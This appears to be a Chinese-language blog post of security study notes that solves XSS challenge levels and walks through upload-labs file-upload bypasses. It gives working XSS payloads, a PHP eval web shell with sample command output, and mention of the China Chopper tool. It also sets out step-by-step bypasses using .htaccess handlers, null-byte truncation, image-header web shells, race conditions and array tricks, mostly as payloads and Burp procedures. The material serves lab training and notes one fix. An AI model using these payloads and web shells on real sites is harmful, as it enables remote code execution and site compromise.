1.19 XSS 注入攻击2与文件上传

XSS挑战题

打开XSS挑战靶场:欢迎来到XSS挑战

这里给出前11题答案和部分题目的思路。

Level 1

1
<script>alert(1)</script>

Level 2

1
<input name=keyword  value=" x"><script>alert(1)</script> ">

Level 3

1
<input name=keyword  value=' x' onmouseover='alert(1) '>

Level 4

1
<input name=keyword  value=" x" onclick="alert(1)    ">

Level 5

1
<input name=keyword  value=" x"><a href="javascript:alert(1)">恭喜你</a>//  ">

Level 6

1
<input name=keyword  value=" x"><a hREf="javascript:alert(1)">恭喜你</a>//  ">

Level 7

1
<input name=keyword  value=" x"><a hRhREfEf="javascrscriptipt:alert(1)">恭喜你</a>//  ">

Level 8

1
2
3
javascript:alert(1)
href后面会自动翻译unicode编码,不一定每一次都要直接用地址栏进行get请求
javasc&#114;&#105;pt:alert(1)

发现某一语句被过滤时要善用:

  • 双写绕过
  • HTML实体编码
  • HTML标签大小写不敏感(js函数大小写敏感)
  • HTML语句的结构松散(写一半换行)

Level 9

1
<a href="javasc&#114;&#105;pt:alert(1)//http://www.cctv.com">友情链接</a>

Level 10

查看网页源码

1
2
3
4
5
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

有几个隐藏表单,默认的form是get请求,我们每个都传入一下看看谁能显示出来

1
/level10.php?keyword=haha&t_link=haha1&t_history=haha2&t_sort=haha3

发现t_sort的value显示了出来:<input name="t_sort" value="haha3" type="hidden">

因此针对t_sort进行注入:

1
<input name="t_sort"  value=" x" type="text" onmouseover="alert(1)">// " type="hidden">

Level 11

刚开局只有一个人理我

但是发现这次服务端对GET传入的引号进行了过滤,因此不能有效逃逸,所以抛弃t_sort这个假注入点

进一步查看源代码发现里面包括refer参数,指上一个页面跳转而来

1
<input name="t_ref"  value="来路" type="hidden">

所以我们用burp suite进行抓包,针对ref后的链接进行修改

1
<input name="t_ref"  value=" x" type="text" onclick="alert(1)">// " type="hidden">

其他HTML事件

window.location 浏览器跳转

localtion.href 返回当前的url

onload 当页面加载完成的时候工作

onerror 当前标签加载错误

onchange 当前html页面改动

onclick 点击元素

onmouseover 鼠标掠过

onmousedown/up 鼠标按下/抬起

onkeydown 键盘按下

文件上传

简易测试平台

文件上传前端,创建upload.html

1
2
3
4
5
<form action="./process.php" method="POST" enctype="multipart/form-data">
    <label for="file" >文件名</label><br/>
    <input type="file" name="file" /><br/>
    <input type="submit" name="submit" value="click me"/>
</form>

文件接收后端,创建process.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php 

//接收传过来的文件
$fileinfo = $_FILES['file'];

//var_dump($fileinfo);

//获取文件临时目录
$filetmp_path = $fileinfo['tmp_name'];

//保存文件在当前目录的file文件夹下(要提前创建)
move_uploaded_file($filetmp_path,"./file/".$fileinfo['name'])

?>

接下来写一个简单的木马,创建vi.php

1
<?php eval($_POST['cmd']); ?>

该木马的意思是通过POST获取一个名为cmd的参数,因此我们主要运用php的语法system("系统命令");传入参数,这样eval()函数会把接收到的参数当作命令来执行,如此一来我们就可以通过传参的方法在目标主机上执行CMD命令。

@的作用是不报错,减少防火墙发现概率

日常测试文件上传漏洞,都使用phpinfo文件

1
<?php phpinfo()?>

它只会输出当前系统配置信息,属于无毒代码

手动传参

1
2
3
4
5
//我们传参:
cmd=system("ipconfig");

//页面上返回
Windows IP 配置 以太网适配器 Ethernet0: 连接特定的 DNS 后缀 . . . . . . . : localdomain 本地链接 IPv6 地址. . . . . . . . : fe80::9087:a026:a5bf:e1c5%12 IPv4 地址 . . . . . . . . . . . . : 192.168.80.134 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.80.2

借助工具

我们这里使用工具《中国菜刀》,添加网站时将你上传好的木马php链接输入并填写你设的参数名,程序就可以进行查看文件,虚拟终端等很多功能。

靶场练习

靶场搭建

下载靶场:https://pan.baidu.com/s/1i8dswj6ALINxoyCY7GqiTg?pwd=dvur

将靶场解压到一个单独的文件夹内,打开phpStudy.exe启动,注意原先自带的phpstudy服务要关闭

访问http://127.0.0.1/以打开靶场

接下来只介绍一些典例

Pass-01(禁用JS)

上传正常图片后查看图片地址发现图片被保存在网站的./upload文件夹下

选择木马php上传发现弹窗提示文件格式不合规

这时我们用burp suite抓包上传发现根本没有数据包,因此可以推断文件格式是在前端判断(基于JavaScript)的,所以我们使用Firefox浏览器右上角的 JS 插件禁用网页JavaScript即可成功上传。

Pass-02(伪造MIME)

这一次我们上传木马php时抓包发现有结果,数据包中有以下内容:

1
2
Content-Disposition: form-data; name="upload_file"; filename="vi.php"
Content-Type: application/octet-stream

Content-Type:指的是文件的MIME类型,说明文件是否合规由后端进行判断,所以我们修改数据包中文件类型为image/jpeg后放行数据包即可成功上传。

Pass-03(黑名单-漏网之鱼)

查看源码(解释版):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        //你不允许上传这些后缀名的文件
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        //文件名首尾去空
        $file_name = trim($_FILES['upload_file']['name']);
        //删除文件名末尾的点 
        $file_name = deldot($file_name);
        //输出从左往右.及其后面所有内容
        $file_ext = strrchr($file_name, '.');
        //转换为小写
        $file_ext = strtolower($file_ext); 
        //去除字符串::$DATA
        $file_ext = str_ireplace('::$DATA', '', $file_ext);
        //首尾去空
        $file_ext = trim($file_ext); 
        //文件的后缀名在不在这个deny_ext数组中?
        if(!in_array($file_ext, $deny_ext)) {
            //获取文件临时路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // ../upload  /   202601231234  .png
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;    
            //保存文件        
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

注入方法:

抓包时将文件后缀名改为.php3上传即可

原理:

黑名单,符合黑名单的内容都不要

.php=> .php3 .php4 .php5 .pht .phtml

这些后缀都有可能被当作php来执行

修复此漏洞

找到Apache/conf/httpd.conf配置文件

发现AddType application/x-httpd-php .php .php3 .phtml

把后面.php3 .phtml删除,重启apache即可

Pass-04(利用.htaccess

查看源码发现黑名单多了一大堆后缀名,所以上一题的思路不再可行。

但是根据刚才修复漏洞的经验可知服务端打开任何后缀名文件时都是当作某种类型文件来打开,所以我们可以写一个文件类型解析文件引导php将某一特定文件当作.php打开,现在得到下面的

邪修:

.htaccess(杀伤力很大,实战不建议使用)

.htaccess是php解析文件,可以指定把什么东西当作php来执行

新建.htaccess文件(纯后缀名,没有名字)

1
2
3
<FilesMatch "vi">
SetHandler application/x-httpd-php
</FilesMatch>

先将.htaccess上传后再上传名为vi.jpg的木马php(由vi.php修改后缀名得来)

Pass-06/07/08(黑名单-利用特殊字符)

Pass-06:使用代码对比工具对比源码发现少了首尾去空的功能,因此我们抓包修改文件名为vi.php 即可

原理: 空格算字符,但是Windows系统会自动忽略空格,文件正常打开


Pass-07:使用代码对比工具对比源码发现少了删除文件名末尾的点的功能,因此我们抓包修改文件名为vi.php. .即可

原理:.算字符,但是Windows系统会自动忽略空格,文件正常打开


Pass-08:使用代码对比工具对比源码发现少了去除字符串::$DATA的功能,因此我们抓包修改文件名为vi.php::$DATA即可

原理: 如果加了::$DATA文件会被系统当作文件流处理,不会检测后缀名

Pass-09(黑名单-钻逻辑漏洞)

查看源码(解释版):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
  // 这里假装传入文件名vi.php. .
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        // 去首尾空格变为vi.php. .
        $file_name = deldot($file_name);//删除文件名末尾的点
        // 变为vi.php.空格
        $file_ext = strrchr($file_name, '.');
        // 获取最后一个.及其后面的字符即为 .空格
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        // 一波操作之后代码最后以为文件名是. (一个点),固放行
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

注入方法: 抓包修改文件名为vi.php. .

原理: 后端获取后缀名逻辑有问题

Pass-10(黑名单-双写绕过)

查看源码(特别部分):

1
$file_name = str_ireplace($deny_ext,"", $file_name);

代码会检测文件名中是否存在符合上面的后缀名表里的部分,如果有就直接删除字符让上传的文件无法被正常解析

注入方法: 修改文件名为vi.phphpp

原理: 双写绕过

Pass-11(%00结束符-GET版)

查看源码(解释版):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');	//只允许三种图片格式文件通过
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        //合成最终保存路径:接收POST上传文件的目标路径然后加上随机数加时间再接文件名
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

发现第11题并不像上面判断后缀名是否包含在禁止的后缀名表,而是只允许三种图片格式文件通过,并且上传文件的路径可控,这里运用半XSS注入的思想,既然save_path是再POST里可以修改的我们就可以想办法让后面代码全部不执行

注入方法: 本地修改木马文件名为vi.jpg,抓包修改第一行路径为save_path=../upload/vi.php%00

原理:%00是结束符,导致后面的数据丢失,代码不再执行,同时文件保存的路径及最终文件名已经由我们给出。

Pass-12(%00结束符-POST版)

查看源码(与Pass-11比较):

1
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

发现第二题获取文件保存路径时使用POST方法,我们还是用上面那招

注入方法: 本地修改木马文件名为vi.jpg,抓包修改路径为save_path=../upload/vi.php%00,框选%00,右键,依次点击,Convert-selection、URL、URL-decode

原理: GET会自动进行解码,而POST不会自动进行解码,所以需要手工解码

Pass-13/14/15(制作木马图)

  1. Pass-13:

查看源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

主要有两个要点:

  • 会检查前2字节的文件头来判断文件类型
  • 不论原后缀名是什么,最后会根据检查到的文件类型完全重命名保存的文件
  • 题目指明了要使用预留的文件包含漏洞http://localhost/include.php

这里我们顺便看看include.php里写了什么,要怎么利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
// 1. 设置响应头:页面编码为UTF-8,避免中文乱码
header("Content-Type:text/html;charset=utf-8");
// 2. 从GET请求中获取名为file的参数值(可控输入,漏洞核心)
$file = $_GET['file'];
// 3. 判断是否传入了file参数
if(isset($file)){
    // 4. 核心漏洞:包含并执行$file指定路径的文件内容
    include $file;
}else{
    // 5. 未传参数时,显示当前文件的源代码(方便测试者查看代码)
    show_source(__file__);
}
?>

注入方法: 使用16进制查看器(如c32、hex等)给原木马php开头加上.gif的文件头GIF89A (优先GIF!因为是文件头是纯文本) 后保存,上传文件,这时直接访问会提示文件错误,但是当调用漏洞(将路径作为file参数传入,如:http://localhost/include.php?file=./upload/4720260119193004.gif)时成功。

原理: 利用了只检查两个字节的机制和预设的文件包含漏洞。

  1. Pass-14:

查看源码(与Pass-13对比):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename); 	//使用getimagesize获取图片多个参数
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

这里使用了getimagesize函数获取图片多个参数,因此仅靠简单的添加文件头不能再骗过服务端。需要进一步构造更拟真图片木马。

注入方法: 使用截图工具截一小块图(越简单越好,这样其编码也简单),用16进制查看器打开,开头加上GIF89A,末尾加上你使用的一句话木马,保存并上传修改后的文件,再次用文件包含漏洞打开上传的文件,成功注入。

  1. Pass-15:

Pass-14操作完全相同。

Pass-16(二次渲染)

查看源码发现程序对图片进行了二次渲染。

注入方法:使用系统自带画图软件画一个简单的图片,以.gif格式保存。将图片直接上传,将网页上展示的图片下载下来,使用十六进制编辑器查看两者之间没有发生改变的位置,复制php中的一句话木马(注意记住语句的字数长度),在刚才画的图中找一个没有发生变化的位置,选择字数相同的长度替换为一句话木马,保存后将图片木马上传,同样使用文件包含漏洞打开。

Pass-17/18(条件竞争)

  1. Pass-17

查看源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

这里存在逻辑漏洞,是接收上传的文件再去判断是否合规,因此我们上传的文件会存在一段时间(虽然很短),但是如果我们用多线程一直去上传呢?

注入方法: 直接上传php木马同时抓包,send to intruder,选一个无关紧要的地方,payload 选numbers 1-9999,线程开20

原理: 损耗服务器资源,让他删不过来

  1. Pass-18

作者代码有问题,打开myupload.php,103行,改为$this->cls_upload_dir = $dir.'/';

查看源码发现仅靠服务端靠后缀名白名单对上传的文件进行检查,并且还有自动改名的机制。

注入方法: 这里我们利用php的一个漏洞,将php木马 加上 一个后缀.7zphp.7z的木马同时抓包,接着方法同 Pass-17

原理:x.php.7z会被当作php执行,php发现7z,zip,rar会尝试解压,损耗服务器资源,总有一个时候来不及改名,从而直接访问。

Pass-19(%00结束符-POST版进阶)

查看源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];	//通过POST获取保存的文件名
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);	//重要:调用从文件名中获取后缀名的功能
        //因为这里仅将文件名当作字符串所以不会识别截断符,并且识别到的后缀名是
        if(!in_array($file_ext,$deny_ext)) {	//根据获取的后缀名进行白名单检测
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {	//截断发生处,从而无法校验合规性 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

注入方法: burp抓包,保存名修改为vi.php%00.jpg%00进行URL-decode,文件名部分需要.jpg用来通过审核

Pass-20(数组绕过检查)

查看源码(解释版):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php 

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    //检查文件类型
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        //判断save_name是否为空,如果为空就用文件名,如果不为空就使用save_name
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        //判断$file是否为数组
        //如果我直接传入数组 $file[0]='haha.php'   $file[2]='jpg'
        if (!is_array($file)) {
            //$file=haha.jpg ---> $file[0]='haha'; $file[1]='jpg';
            $file = explode('.', strtolower($file));
        }
        //$ext = 'jpg';
        // jpg
        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        //判断$ext在不在白名单里
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            //    				haha.php            .            $file[1]
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

?>

可以看到漏洞存在于如果传入的save_name是数组,那么就可以避开自动从文件名获取后缀名.

并且接下来的过程中是取数组的第一个元素为文件名称,最后一个为后缀名,那么我们可以传入一个数组[x.php,,jpg]

注入方法: 上传同时抓包,先修改MIME为image/jpeg,接下来修改save_name部分为(例):

1
2
3
4
5
6
7
8
-----------------------------306962433823754
Content-Disposition: form-data; name="save_name[0]"

upload-20.php
-----------------------------306962433823754
Content-Disposition: form-data; name="save_name[2]"

jpg

原理: php的数组是一一对应的索引概念,不一定要是连续的,所以我们只传入了第0、2号元素,1号不存在,因此数组内只有两个元素(count($file)=2),且访问1号元素时返回为空(NULL)。

拓展

本地搭建:

  1. 前端:创建upload.html
1
2
3
4
5
<form action="./test1.php" method="POST" enctype="multipart/form-data">
    <label for="file">文件名</label>
    <input type="file" name="file" /><br/>
    <input type="submit" name="submit" value="提交"/>
  </form>
  1. 后端:创建test1.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php 

if(isset($_POST['submit'])){
    $temp_file = $_FILES['file']['tmp_name'];
    //取出文件名
    $filename1 = $_FILES['file']['name'];
    //定义一个随机数
    $number = rand(1000,9999);
    $filename2 = $filename1.$number;	//原文件名和随机数拼接
    $filename3 = md5($filename2);			//将拼接后的内容MD5加密
    $filename4 = $filename3.'.php';		//加密后的内容加上.php后缀
    $img_path = "./pic/".$filename4;
    if(move_uploaded_file($temp_file,$img_path)){
        echo 'success upload';
    }else{
        echo 'fail';
    }
}

?>
  1. 在目录下创建pic文件夹

任务: 上传木马php后,想办法访问到存在于pic中的木马程序。

方法: 正常上传木马php,在地址栏中访问http://localhost/test/pic/test.php这时会提示404,因为文件名不对,接下来我们启动抓包然后刷新一下这个网页,抓取到了请求。选中数据包第一行的文件名,提交到暴力破解。将假文件名选为爆破位点,像这样:

1
2
3
4
5
6
7
8
GET /test/pic/§test§.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

在payloads中设置类别为numbers,1000-9999步长为1,下面的Payload Processing先选Add Prefix填写上传的原文件名,再选Hash-MD5,开启攻击。

原理: 本质就是根据源代码对文件名的处理过程在burp suite中复现这一过程。

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS